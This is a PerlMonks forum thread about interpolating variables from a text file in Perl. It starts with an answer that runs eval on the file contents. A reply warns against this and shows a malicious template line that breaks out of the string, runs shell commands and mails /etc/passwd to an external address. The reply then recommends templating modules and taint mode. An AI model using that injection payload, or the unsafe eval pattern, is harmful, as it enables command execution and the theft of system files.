Beefy Boxes and Bandwidth Generously Provided by pair Networks
Do you know where your variables are?
 
PerlMonks  

Re: Interpolating from text file

by cwest (Friar)
on Oct 05, 2000 at 01:43 UTC ( [id://35344]=note: print w/replies, xml ) Need Help??


in reply to Interpolating from text file

Sort answer: eval Example:
my $hello = 'World'; my $people = [ qw/Me You Them Us Him Her It/ ]; undef $/; my $info = <DATA>; $info = eval "qq($info)"; print $info; __END__ Hello $hello, All of you signed up! You are: @{$people} Enjoy!
--
Casey
   I am a superhero.

Replies are listed 'Best First'.
RE: Re: Interpolating from text file
by Fastolfe (Vicar) on Oct 06, 2000 at 00:49 UTC
    Be very careful just blindly evaling data you do not explicitely trust. Consider:
    __END__ Hello $hello, Your ID information: } . `id` . `cat /etc/passwd | mail me@example.com` . qq{ Thanks for your password!
    I highly recommend either going with existing templating modules or rolling your own quick interpolation if all you need is something simple. This is discussed in the other threads mentioned in Adam's post below.

    I also very much recommend using taint checking (-T) when dealing with untrusted, potentially malicious data, which would catch potential problems like this.

      That's why it's the short answer :-)

      use Taint mode.

      --
      Casey
         I am a superhero.
      

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://35344]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others lurking in the Monastery: (7)
As of 2024-03-28 19:28 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found